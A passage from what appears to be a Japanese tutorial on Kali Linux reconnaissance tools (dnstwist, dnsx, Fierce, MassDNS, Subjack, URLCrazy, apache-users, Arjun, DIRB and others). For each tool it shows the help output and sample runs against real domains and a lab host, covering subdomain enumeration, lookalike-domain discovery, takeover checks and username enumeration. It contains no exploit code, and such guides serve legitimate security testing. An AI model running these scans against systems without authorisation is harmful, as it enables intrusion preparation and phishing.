                            tld:      Remove the TLD of given domain and test against all TLDs registered in IANA.
                            zonewalk: Perform a DNSSEC zone walk using NSEC records.

■ 使用例

root@kali:~# dnsrecon -d example.com -t std
[*] std: Performing General Enumeration against: example.com...
[-] DNSSEC is not configured for example.com
[*]      SOA ns.icann.org 199.4.138.53
[*]      SOA ns.icann.org 2001:500:89::53
[*]      NS a.iana-servers.net 199.43.135.53
[*]      Bind Version for 199.43.135.53 3＂
[*]      NS a.iana-servers.net 2001:500:8f::53
[*]      Bind Version for 2001:500:8f::53 3＂
[*]      NS b.iana-servers.net 199.43.133.53
[*]      Bind Version for 199.43.133.53 4＂
[*]      NS b.iana-servers.net 2001:500:8d::53
[*]      Bind Version for 2001:500:8d::53 4＂
[*]      A example.com 93.184.215.14
[*]      AAAA example.com 2606:2800:21f:cb07:6820:80da:af6b:8b2c
[*]      TXT example.com v=spf1 -all
[*]      TXT example.com wgyf8z8cgvm2qmxpnbnldrcltvk4xqfn
[*]      TXT _dmarc.example.com v=DMARC1;p=reject;sp=reject;adkim=s;aspf=s
[*]      TXT _dmarc._domainkey.example.com v=DKIM1; p=
[*] Enumerating SRV Records
[-] No SRV Records Found for example.com

dnstracer

指定されたドメインに対して指定されたドメインネームサーバー (DNS) がどこから情報を取得したかのかをDNSサーバーの連鎖をたどって表示します。

■ 使用方法

root@kali:~# dnstracer --help

Usage: dnstracer [options] [host]
        -c: disable local caching, default enabled
        -C: enable negative caching, default disabled
        -o: enable overview of received answers, default disabled
        -q <querytype>: query-type to use for the DNS requests, default A
        -r <retries>: amount of retries for DNS requests, default 3
        -s <server>: use this server for the initial request, default localhost
                     If . is specified, A.ROOT-SERVERS.NET will be used.
        -t <maximum timeout>: Limit time to wait per try
        -v: verbose
        -S <ip address>: use this source address.
        -4: don\'t query IPv6 servers

■ 使用例

# 初期リクエストの送信先をルートサーバーにして追跡を行う
root@kali:~# dnstracer -s . -4  qiita.com
Tracing to qiita.com[a] via A.ROOT-SERVERS.NET, maximum of 3 retries
A.ROOT-SERVERS.NET [.] (198.41.0.4)
 |\___ e.gtld-servers.net [com] (192.12.94.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) Got authoritative answer
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) Got authoritative answer
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) Got authoritative answer
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) Got authoritative answer
 |\___ e.gtld-servers.net [com] (2001:0502:1ca1:0000:0000:0000:0000:0030) Not queried
 |\___ c.gtld-servers.net [com] (192.26.92.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) (cached)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) (cached)
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) (cached)
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) (cached)
 |\___ c.gtld-servers.net [com] (2001:0503:83eb:0000:0000:0000:0000:0030) Not queried
 |\___ a.gtld-servers.net [com] (192.5.6.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) (cached)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) (cached)
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) (cached)
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) (cached)
 |\___ a.gtld-servers.net [com] (2001:0503:a83e:0000:0000:0000:0002:0030) Not queried
 |\___ g.gtld-servers.net [com] (192.42.93.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) (cached)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) (cached)
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) (cached)
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) (cached)
 |\___ g.gtld-servers.net [com] (2001:0503:eea3:0000:0000:0000:0000:0030) Not queried
 |\___ i.gtld-servers.net [com] (192.43.172.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) (cached)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) (cached)
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) (cached)
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) (cached)
 |\___ i.gtld-servers.net [com] (2001:0503:39c1:0000:0000:0000:0000:0030) Not queried
 |\___ m.gtld-servers.net [com] (192.55.83.30)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (205.251.199.164) (cached)
 |     |\___ ns-1956.awsdns-52.co.uk [qiita.com] (2600:9000:5307:a400:0000:0000:0000:0001) Not queried
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (205.251.196.25) (cached)
 |     |\___ ns-1049.awsdns-03.org [qiita.com] (2600:9000:5304:1900:0000:0000:0000:0001) Not queried
 |     |\___ ns-772.awsdns-32.net [qiita.com] (205.251.195.4) (cached)
 |     |\___ ns-772.awsdns-32.net [qiita.com] (2600:9000:5303:0400:0000:0000:0000:0001) Not queried
 |      \___ ns-171.awsdns-21.com [qiita.com] (205.251.192.171) (cached)
 |\___ m.gtld-servers.net [com] (2001:0501:b1f9:0000:0000:0000:0000:0030) Not queried
[...]

dnstwist

指定されたドメインと類似したドメインをファジングアルゴリズムで生成し、なりすましドメインを生成・検出します。

■ 使用方法

root@kali:~# dnstwist --help

usage: /usr/bin/dnstwist [OPTION]... DOMAIN

positional arguments:
  domain                      Domain name or URL to scan

options:
  -a, --all                   Print all DNS records instead of the first ones
  -b, --banners               Determine HTTP and SMTP service banners
  -d FILE, --dictionary FILE  Generate more domains using dictionary FILE
  -f FORMAT, --format FORMAT  Output format: cli, csv, json, list (default: cli)
  --fuzzers LIST              Use only selected fuzzing algorithms (separated with commas)
  -g, --geoip                 Lookup for GeoIP location
  --lsh [LSH]                 Evaluate web page similarity with LSH algorithm: ssdeep, tlsh (default: ssdeep)
  --lsh-url URL               Override URL to fetch the original web page from
  -m, --mxcheck               Check if MX host can be used to intercept emails
  -o FILE, --output FILE      Save output to FILE
  -r, --registered            Show only registered domain names
  -u, --unregistered          Show only unregistered domain names
  -p, --phash                 Render web pages and evaluate visual similarity
  --phash-url URL             Override URL to render the original web page from
  --screenshots DIR           Save web page screenshots into DIR
  -t NUM, --threads NUM       Start specified NUM of threads (default: 12)
  -w, --whois                 Lookup WHOIS database for creation date and registrar
  --tld FILE                  Swap TLD for the original domain from FILE
  --nameservers LIST          DNS or DoH servers to query (separated with commas)
  --useragent STRING          Set User-Agent STRING (default: Mozilla/5.0 (linux 64-bit) dnstwist/20240812)

■ 使用例

root@kali:~# dnstwist -r github.com
[...]
permutations: 100.00% of 2406 | found: 156 | eta: 0m 00s | speed: 47 qps
*original      github.com     20.27.177.113 NS:dns1.p08.nsone.net MX:alt1.aspmx.l.google.com
addition       githubd.com    103.224.212.215 NS:ns1.abovedomains.com MX:park-mx.above.com
addition       githubu.com    103.224.212.215 NS:ns1.abovedomains.com MX:park-mx.above.com
addition       github4.com    104.143.143.3 NS:a.share-dns.com
addition       github6.com    104.21.40.115 2606:4700:3032::ac43:b98a NS:gail.ns.cloudflare.com
addition       githubq.com    104.21.49.123 2606:4700:3030::6815:317b NS:drake.ns.cloudflare.com MX:route1.mx.cloudflare.net
[...]
bitsquatting   gitjub.com     103.224.182.239 NS:ns1.abovedomains.com MX:park-mx.above.com
bitsquatting   gkthub.com     104.21.47.41 2606:4700:3036::6815:2f29 NS:sue.ns.cloudflare.com MX:mx.yandex.ru
bitsquatting   withub.com     124.156.195.144 NS:dns3.hichina.com MX:mailserver.purelymail.com
bitsquatting   gythub.com     13.248.169.48 NS:ns1.namefind.com
bitsquatting   gitiub.com     140.82.10.104 NS:ns1.vultr.com MX:gitiub.com
bitsquatting   giphub.com     173.232.29.99 NS:ray.ns.cloudflare.com
[...]
homoglyph      gìthub.com     104.21.67.116 2606:4700:3034::ac43:ddd6 NS:angela.ns.cloudflare.com
homoglyph      ɡithub.com     107.180.21.235 NS:ns25.domaincontrol.com
homoglyph      githuḅ.com     127.0.0.1 NS:adel.ns.cloudflare.com MX:mx.zoho.eu
homoglyph      githüb.com     15.197.148.33 NS:ns69.domaincontrol.com
homoglyph      gıthub.com     162.213.255.27 NS:dns1.namecheaphosting.com MX:mx1-hosting.jellyfish.systems
homoglyph      git1ub.com     172.105.161.56 NS:dns1.registrar-servers.com MX:mx1.privateemail.com
homoglyph      githuib.com    185.107.56.57 NS:ns1.weaponizedcow.com
[...]
insertion      gituhub.com    103.224.182.246 NS:ns1.abovedomains.com MX:park-mx.above.com
insertion      giuthub.com    103.224.182.246 NS:ns1.abovedomains.com MX:park-mx.above.com
insertion      ghithub.com    103.224.212.214 NS:ns1.abovedomains.com MX:park-mx.above.com
insertion      gifthub.com    13.248.169.48 NS:ns5.afternic.com MX:
insertion      githuhb.com    162.210.196.171 NS:ns1.taipandns.com
insertion      gitjhub.com    162.210.196.173 NS:ns1.numbatdns.com
[...]
replacement    giyhub.com     103.224.182.239 NS:ns1.abovedomains.com MX:park-mx.above.com
replacement    githyb.com     103.224.182.244 NS:ns1.abovedomains.com MX:park-mx.above.com
replacement    hithub.com     104.21.82.76 2606:4700:3033::ac43:c65b NS:clint.ns.cloudflare.com
replacement    g8thub.com     107.161.23.204 NS:ns1.dnsowl.com
replacement    gi5hub.com     107.161.23.204 NS:ns1.dnsowl.com
[...]
transposition  gtihub.com     NS:ns1.dnsowl.com
transposition  igthub.com     NS:ns1djs.name.com
various        githubcom.com  199.59.243.227 NS:ns1.bodis.com
vowel-swap     githab.com     162.210.199.65 NS:ns1.koaladns.com
vowel-swap     githob.com     173.239.5.6 NS:ns1.expiereddnsmanager.com MX:mx7.githob.com
vowel-swap     gethub.com     203.242.255.30 NS:ns.ktnet.co.kr

dnsx

DNSレコードの照会やサブドメインのブルートフォースなどの機能を提供します。

■ 使用方法

root@kali:~# dnsx --help

Usage:
  dnsx [flags]

Flags:
INPUT:
   -l, -list string      list of sub(domains)/hosts to resolve (file or stdin)
   -d, -domain string    list of domain to bruteforce (file or comma separated or stdin)
   -w, -wordlist string  list of words to bruteforce (file or comma separated or stdin)

QUERY:
   -a      query A record (default)
   -aaaa   query AAAA record
   -cname  query CNAME record
   -ns     query NS record
   -txt    query TXT record
   -srv    query SRV record
   -ptr    query PTR record
   -mx     query MX record
   -soa    query SOA record
   -axfr   query AXFR
   -caa    query CAA record

FILTER:
   -re, -resp          display dns response
   -ro, -resp-only     display dns response only
   -rc, -rcode string  filter result by dns status code (eg. -rcode noerror,servfail,refused)

PROBE:
   -cdn  display cdn name
   -asn  display host asn information

RATE-LIMIT:
   -t, -threads int      number of concurrent threads to use (default 100)
   -rl, -rate-limit int  number of dns request/second to make (disabled as default) (default -1)

UPDATE:
   -up, -update                 update dnsx to latest version
   -duc, -disable-update-check  disable automatic dnsx update check

OUTPUT:
   -o, -output string  file to write output
   -json               write output in JSONL(ines) format

DEBUG:
   -hc, -health-check  run diagnostic check up
   -silent             display only results in the output
   -v, -verbose        display verbose output
   -raw, -debug        display raw dns response
   -stats              display stats of the running scan
   -version            display version of dnsx

OPTIMIZATION:
   -retry int                number of dns attempts to make (must be at least 1) (default 2)
   -hf, -hostsfile           use system host file
   -trace                    perform dns tracing
   -trace-max-recursion int  Max recursion for dns trace (default 32767)
   -resume                   resume existing scan
   -stream                   stream mode (wordlist, wildcard, stats and stop/resume will be disabled)

CONFIGURATIONS:
   -r, -resolver string          list of resolvers to use (file or comma separated)
   -wt, -wildcard-threshold int  wildcard filter threshold (default 5)
   -wd, -wildcard-domain string  domain name for wildcard filtering (other flags will be ignored - only json output is supported)

■ 使用例

# amazonaws.comのサブドメインのリストにAレコードの情報を追加する
root@kali:~# subfinder -silent -d amazonaws.com  | dnsx -silent -a -resp
a323fac12b391484da5fea5d8d424c9f-c145ad03356b1979.elb.af-south-1.amazonaws.com [13.244.236.13] 
a323fac12b391484da5fea5d8d424c9f-c145ad03356b1979.elb.af-south-1.amazonaws.com [13.244.237.113] 
a323fac12b391484da5fea5d8d424c9f-c145ad03356b1979.elb.af-south-1.amazonaws.com [13.244.249.223] 
acm-cws.af-south-1.amazonaws.com [13.246.73.207] 
acm-cws.af-south-1.amazonaws.com [13.246.246.221] 
acm-cws.af-south-1.amazonaws.com [13.247.40.65] 
aatb.us-gov-west-1.amazonaws.com [52.119.209.92] 
a0e559146bc8148018f27b1c3affa444-8f41ca81b59b99d8.elb.af-south-1.amazonaws.com [13.246.88.96] 
a0e559146bc8148018f27b1c3affa444-8f41ca81b59b99d8.elb.af-south-1.amazonaws.com [13.246.210.124] 
a0e559146bc8148018f27b1c3affa444-8f41ca81b59b99d8.elb.af-south-1.amazonaws.com [13.245.156.147] 
acm.eu-west-1.amazonaws.com [3.253.219.235]
[...]

Fierce

指定されたドメインに対してDNSをスキャンすることで非連続のIPスペースとホスト名を見つけます。

■ 使用方法

root@kali:~# fierce --help

usage: fierce [-h] [--domain DOMAIN] [--connect] [--wide] [--traverse TRAVERSE] [--search SEARCH [SEARCH ...]] [--range RANGE] [--delay DELAY]
              [--subdomains SUBDOMAINS [SUBDOMAINS ...] | --subdomain-file SUBDOMAIN_FILE] [--dns-servers DNS_SERVERS [DNS_SERVERS ...] | --dns-file DNS_FILE]
              [--tcp]

        A DNS reconnaissance tool for locating non-contiguous IP space.
        

options:
  -h, --help            show this help message and exit
  --domain DOMAIN       domain name to test
  --connect             attempt HTTP connection to non-RFC 1918 hosts
  --wide                scan entire class c of discovered records
  --traverse TRAVERSE   scan IPs near discovered records, this won\'t enter adjacent class c\'s
  --search SEARCH [SEARCH ...]
                        filter on these domains when expanding lookup
  --range RANGE         scan an internal IP range, use cidr notation
  --delay DELAY         time to wait between lookups
  --subdomains SUBDOMAINS [SUBDOMAINS ...]
                        use these subdomains
  --subdomain-file SUBDOMAIN_FILE
                        use subdomains specified in this file (one per line)
  --dns-servers DNS_SERVERS [DNS_SERVERS ...]
                        use these dns servers for reverse lookups
  --dns-file DNS_FILE   use dns servers specified in this file for reverse lookups (one per line)
  --tcp                 use TCP instead of UDP

■ 使用例

root@kali:~# fierce --domain yahoo.co.jp
NS: ns02.yahoo.co.jp. ns11.yahoo.co.jp. ns12.yahoo.co.jp. ns01.yahoo.co.jp.
SOA: yahoo.co.jp. (182.22.31.124)
Zone: failure
Wildcard: failure
Found: accounts.yahoo.co.jp. (183.79.253.220)
Found: ads.yahoo.co.jp. (183.79.218.174)
Found: affiliate.yahoo.co.jp. (124.83.185.124)
Found: am.yahoo.co.jp. (124.83.185.124)
Found: app.yahoo.co.jp. (124.83.185.124)
Found: bb.yahoo.co.jp. (124.83.185.124)
Found: biz.yahoo.co.jp. (124.83.185.124)
Found: business.yahoo.co.jp. (124.83.185.124)
Found: calendar.yahoo.co.jp. (183.79.253.220)
Found: cms.yahoo.co.jp. (100.101.225.12)
Found: developer.yahoo.co.jp. (183.79.250.251)
[...]
Found: photos.yahoo.co.jp. (182.22.24.252)
Found: pm.yahoo.co.jp. (182.22.24.252)
Found: pr.yahoo.co.jp. (182.22.24.252)
Found: privacy.yahoo.co.jp. (182.22.24.252)
Found: promo.yahoo.co.jp. (182.22.24.252)

MassDNS

大量のドメイン名を高速で名前解決できるDNSスタブリゾルバです。

■ 使用方法

root@kali:~# massdns --help

Usage: massdns [options] [domainlist]
  -b  --bindto           Bind to IP address and port. (Default: 0.0.0.0:0)
      --busy-poll        Use busy-wait polling instead of epoll.
  -c  --resolve-count    Number of resolves for a name before giving up. (Default: 50)
      --drop-group       Group to drop privileges to when running as root. (Default: nogroup)
      --drop-user        User to drop privileges to when running as root. (Default: nobody)
      --filter           Only output packets with the specified response code.
      --flush            Flush the output file whenever a response was received.
  -h  --help             Show this help.
      --ignore           Do not output packets with the specified response code.
  -i  --interval         Interval in milliseconds to wait between multiple resolves of the same
                         domain. (Default: 500)
  -l  --error-log        Error log file path. (Default: /dev/stderr)
      --norecurse        Use non-recursive queries. Useful for DNS cache snooping.
  -o  --output           Flags for output formatting.
      --predictable      Use resolvers incrementally. Useful for resolver tests.
      --processes        Number of processes to be used for resolving. (Default: 1)
  -q  --quiet            Quiet mode.
      --rcvbuf           Size of the receive buffer in bytes.
      --retry            Unacceptable DNS response codes. (Default: REFUSED)
  -r  --resolvers        Text file containing DNS resolvers.
      --root             Do not drop privileges when running as root. Not recommended.
  -s  --hashmap-size     Number of concurrent lookups. (Default: 10000)
      --sndbuf           Size of the send buffer in bytes.
      --status-format    Format for real-time status updates, json or ansi (Default: ansi)
      --sticky           Do not switch the resolver when retrying.
      --socket-count     Socket count per process. (Default: 1)
  -t  --type             Record type to be resolved. (Default: A)
      --verify-ip        Verify IP addresses of incoming replies.
  -w  --outfile          Write to the specified output file instead of standard output.

Output flags:
  S - simple text output
  F - full text output
  B - binary output
  J - ndjson output

Advanced flags for the simple output mode:
  d - Include records from the additional section.
  i - Indent any reply record.
  l - Separate replies using a line feed.
  m - Only output reply records that match the question name.
  n - Include records from the answer section.
  q - Print the question.
  r - Print the question with resolver IP address, Unix timestamp and return code prepended.
  s - Separate packet sections using a line feed.
  t - Include TTL and record class within the output.
  u - Include records from the authority section.

■ 使用例

root@kali:~# massdns --resolvers resolvers.txt gov-domains.txt --outfile results.txt
Processed queries: 410
Received packets: 553
Progress: 100.00% (00 h 00 min 08 sec / 00 h 00 min 08 sec)
Current incoming rate: 16 pps, average: 68 pps
Current success rate: 16 pps, average: 50 pps
Finished total: 410, success: 410 (100.00%)
[...]
Response: | Success:               | Total:
OK:       |          323 ( 78.78%) |          410 ( 74.14%)
NXDOMAIN: |           75 ( 18.29%) |           85 ( 15.37%)
SERVFAIL: |           12 (  2.93%) |           18 (  3.25%)
REFUSED:  |            0 (  0.00%) |           40 (  7.23%)
FORMERR:  |            0 (  0.00%) |            0 (  0.00%)

root@kali:~# cat results.txt
;; Server: 172.64.37.8:53
;; Size: 104
;; Unix time: 1729577020
;; ->>HEADER\<<- opcode: QUERY, status: NOERROR, id: 43092
;; flags: qr rd ra ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
koeki-info.go.jp. IN A

;; AUTHORITY SECTION:
koeki-info.go.jp. 900 IN SOA ns000.d-53.net. dns-managers.iij.ad.jp. 217 3600 600 604800 900


;; Server: 172.64.37.38:53
;; Size: 108
;; Unix time: 1729577020
;; ->>HEADER\<<- opcode: QUERY, status: NOERROR, id: 18513
;; flags: qr rd ra ; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
fsc.go.jp. IN A

;; AUTHORITY SECTION:
fsc.go.jp. 900 IN SOA ns-491.awsdns-61.com. awsdns-hostmaster.amazon.com. 1 7200 900 1209600 86400
[...]

Subjack

指定したサブドメインにテイクオーバーの脆弱性があるかどうかチェックします。

参考

■ 使用方法

root@kali:~# subjack --help

Usage of subjack:
  -a    Find those hidden gems by sending requests to every URL. (Default: Requests are only sent to URLs with identified CNAMEs).
  -c string
        Path to configuration file. (default "/usr/share/subjack/fingerprints.json")
  -d string
        Domain.
  -m    Flag the presence of a dead record, but valid CNAME entry.
  -o string
        Output results to file (Subjack will write JSON if file ends with '.json').
  -ssl
        Force HTTPS connections (May increase accuracy (Default: http://).
  -t int
        Number of concurrent threads (Default: 10). (default 10)
  -timeout int
        Seconds to wait before connection timeout (Default: 10). (default 10)
  -v    Display more information per each request.
  -w string
        Path to wordlist.

■ 使用例

# 調査対象のサブドメインのリストを作成
root@kali:~# curl -N -G https://api.merklemap.com/search?query=*.*****.jp | jq -r '.results[].domain' | sed 's/\*\.//' | anew | sort > domains.txt
# サブドメインのリストに対してチェックを実行
root@kali:~# subjack -w domains.txt -t 30 -timeout 30 -ssl -v 3
[Not Vulnerable] api.geocoder.address-br.*****.jp
[Not Vulnerable] dmp-official-staging.*****.jp
[Not Vulnerable] dmp-official.*****.jp
[Not Vulnerable] dmp-official-dev.*****.jp
[Not Vulnerable] external.id.mykey.*****.jp
[Not Vulnerable] geocoder.address-br.*****.jp
[Not Vulnerable] id.mykey.*****.jp
[Not Vulnerable] lcm.stg.smp.*****.jp
[Not Vulnerable] lcm.smp.*****.jp
[Not Vulnerable] lcm.tst.smp.*****.jp
[Not Vulnerable] snas.*****.jp
[Not Vulnerable] dv.emc.*****.jp
[Not Vulnerable] dv.emc.*****.jp
[Not Vulnerable] api.register.deve-gkpb.*****.jp
[Not Vulnerable] api.register.deve-gkpb.*****.jp
[Not Vulnerable] api.kktg.*****.jp
[...]

URLCrazy

指定されたドメインと類似したドメインをファジングアルゴリズムで生成し、なりすましドメインを生成・検出します。

■ 使用方法

root@kali:~# urlcrazy --help

Usage: ./urlcrazy [options] domain

Options
-k, --keyboard=LAYOUT  Options are: qwerty, azerty, qwertz, dvorak (default: qwerty)
-p, --popularity       Check domain popularity with Google
-r, --no-resolve       Do not resolve DNS
-i, --show-invalid     Show invalid domain names
-f, --format=TYPE      Human readable, JSON, or CSV (default: human readable)
-o, --output=FILE      Output file
-n, --nocolor          Disable colour
-d, --debug            Enable debugging output for development
-h, --help             This help
-v, --version          Print version information. This version is 0.7.3

■ 使用例

root@kali:~# urlcrazy github.com

URLCrazy Domain Report
Domain    : github.com
Keyboard  : qwerty
At        : 2024-11-27 22:21:30 +0000
# Please wait. 2028 hostnames to process
Typo Type              Typo Domain                      IP               Country                  NameServer
              MailServer
-----------------------------------------------------------------------------------------------------------------------------------------
Original               github.com                       20.27.177.113    UNITED STATES (US)       dns4.p08.nsone.net.
              aspmx.l.google.com.
Character Omission     gihub.com                        192.198.80.150   UNITED STATES (US)       ns1.smtmdns.com.

Character Omission     githb.com                        82.192.82.225    NETHERLANDS (NL)         ns2.kirklanddc.com.
              mail.h-email.net.
[...]

Character Repeat       ggithub.com

Character Repeat       giithub.com                      199.59.243.227   UNITED STATES (US)       ns2.bodis.com.
[...]
Character Swap         gihtub.com

Character Swap         githbu.com                       199.115.115.116  UNITED STATES (US)       ns2.weaponizedcow.com.
[...]
Character Replacement  fithub.com                       5.22.145.16      GERMANY (DE)             ns3.monikerdns.net.
              aspmx.l.google.com.
Character Replacement  girhub.com                       173.239.5.6      UNITED STATES (US)       ns1.expiereddnsmanager.com.
              mx7.girhub.com.
[...]
Character Insertion    gfithub.com                      46.166.189.98    NETHERLANDS (NL)         ns-usa.topdns.com.

Character Insertion    ghithub.com                      103.224.212.214  AUSTRALIA (AU)           ns16.abovedomains.com.
              park-mx.above.com.
[...]
Vowel Swap             gathub.com                       216.250.120.46   UNITED STATES (US)       ns1028.ui-dns.biz.
              mx01.ionos.com.
Vowel Swap             gethub.com                       203.242.255.30   KOREA REPUBLIC OF (KR)   snsp.ktnet.co.kr.
[...]
Bit Flipping           gidhub.com                                                                 ulla.ns.cloudflare.com.

Bit Flipping           giphub.com
[...]
Wrong TLD              github.xxx

Wrong TLD              github.xyz
[...]

Web Crawling

apache-users

Apacheのmod_userdirが有効になっているサーバーにユーザー名列挙攻撃を行い、システムのユーザー名一覧を取得します。

■ 使用方法

root@kali:~# apache-users --help

USAGE: apache-users [-h 1.2.3.4] [-l names] [-p 80] [-s (SSL Support 1=true 0=false)] [-e 403 (http code)] [-t threads]

■ 使用例

# 指定されたユーザーが存在し、ユーザーのホームディレクトリにWebサーバーのアクセス権限がない場合
# ステータスコード403を返すため、403でユーザーの存在有無を確認する
root@kali:~# apache-users -h 192.168.11.4 -l users.txt -p 80 -s 0 -e 403 -t 10
hello exists on 192.168.11.4

Arjun

APIエンドポイントで使用可能なクエリパラメーターを単語リストをもとに検出します。

■ 使用方法

root@kali:~# arjun --help

usage: arjun [-h] [-u URL] [-o JSON_FILE] [-oT TEXT_FILE] [-oB [BURP_PROXY]] [-d DELAY] [-t THREADS] [-w WORDLIST] [-m METHOD]
             [-i [IMPORT_FILE]] [-T TIMEOUT] [-c CHUNKS] [-q] [--rate-limit RATE_LIMIT] [--headers [HEADERS]]
             [--passive [PASSIVE]] [--stable] [--include INCLUDE] [--disable-redirects]

options:
  -h, --help            show this help message and exit
  -u URL                Target URL
  -o JSON_FILE, -oJ JSON_FILE
                        Path for json output file.
  -oT TEXT_FILE         Path for text output file.
  -oB [BURP_PROXY]      Output to Burp Suite Proxy. Default is 127.0.0.1:8080.
  -d DELAY              Delay between requests in seconds. (default: 0)
  -t THREADS            Number of concurrent threads. (default: 5)
  -w WORDLIST           Wordlist file path. (default: {arjundir}/db/large.txt)
  -m METHOD             Request method to use: GET/POST/XML/JSON/HEADERS. (default: GET)
  -i [IMPORT_FILE]      Import target URLs from file.
  -T TIMEOUT            HTTP request timeout in seconds. (default: 15)
  -c CHUNKS             Chunk size. The number of parameters to be sent at once
  -q                    Quiet mode. No output.
  --rate-limit RATE_LIMIT
                        Max number of requests to be sent out per second (default: 9999)
  --headers [HEADERS]   Add headers. Separate multiple headers with a new line.
  --passive [PASSIVE]   Collect parameter names from passive sources like wayback, commoncrawl and otx.
  --stable              Prefer stability over speed.
  --include INCLUDE     Include this data in every request.
  --disable-redirects   disable redirects

■ 使用例

# デフォルトの単語リストを使用してクエリパラメーターを検出
root@kali:~# arjun -u http://192.168.11.4/customers
[...]
[*] Probing the target for stability
[*] Analysing HTTP response for anomalies
[*] Analysing HTTP response for potential parameter names
[*] Logicforcing the URL endpoint
[✓] parameter detected: email, based on: body length
[✓] parameter detected: object, based on: body length
[✓] parameter detected: q, based on: body length
[✓] parameter detected: created, based on: body length
[✓] parameter detected: discount, based on: body length
[✓] parameter detected: metadata, based on: body length
[✓] parameter detected: description, based on: body length
[✓] parameter detected: callback, based on: body length
[✓] parameter detected: balance, based on: body length
[✓] parameter detected: name, based on: body length
[✓] parameter detected: currency, based on: body length
[✓] parameter detected: id, based on: body length
[✓] parameter detected: shipping, based on: body length
[✓] parameter detected: phone, based on: body length
[✓] parameter detected: address, based on: body length
[✓] parameter detected: _page, based on: http headers
[+] Parameters found: email, object, q, created, discount, metadata, description, callback, balance, name, currency, id, shipping, phone, address, _page

DIRB

Webサーバに対して単語リストを使用したウェブコンテンツ探索を行います。

■ 使用方法

root@kali:~# dirb

dirb <url_base> [<wordlist_file(s)>] [options]

========================= NOTES =========================
 <url_base> : Base URL to scan. (Use -resume for session resuming)
 <wordlist_file(s)> : List of wordfiles. (wordfile1,wordfile2,wordfile3...)

======================== HOTKEYS ========================
 'n' -> Go to next directory.
 'q' -> Stop scan. (Saving state for resume)
 'r' -> Remaining scan stats.

======================== OPTIONS ========================
 -a <agent_string> : Specify your custom USER_AGENT.
 -b : Use path as is.
 -c <cookie_string> : Set a cookie for the HTTP request.
 -E <certificate> : path to the client certificate.
 -f : Fine tunning of NOT_FOUND (404) detection.
 -H <header_string> : Add a custom header to the HTTP request.
 -i : Use case-insensitive search.
 -l : Print "Location" header when found.
 -N <nf_code>: Ignore responses with this HTTP code.
 -o <output_file> : Save output to disk.
 -p <proxy[:port]> : Use this proxy. (Default port is 1080)
 -P <proxy_username:proxy_password> : Proxy Authentication.
 -r : Don\'t search recursively.
 -R : Interactive recursion. (Asks for each directory)
 -S : Silent Mode. Don\'t show tested words. (For dumb terminals)
 -t : Don\'t force an ending '/' on URLs.
 -u <username:password> : HTTP Authentication.
 -v : Show also NOT_FOUND pages.
 -w : Don\'t stop on WARNING messages.
 -X <extensions> / -x <exts_file> : Append each word with this extensions.
 -z <millisecs> : Add a milliseconds delay to not cause excessive Flood.

======================== EXAMPLES =======================
 dirb http://url/directory/ (Simple Test)
 dirb http://url/ -X .html (Test files with '.html' extension)
 dirb http://url/ /usr/share/dirb/wordlists/vulns/apache.txt (Test with apache.txt wordlist)
 dirb https://secure_url/ (Simple Test with SSL)

■ 使用例

# ルート直下のディレクトリを探索
root@kali:~# dirb http://192.168.11.4/ words.txt -r

-----------------
DIRB v2.22    
By The Dark Raver
-----------------
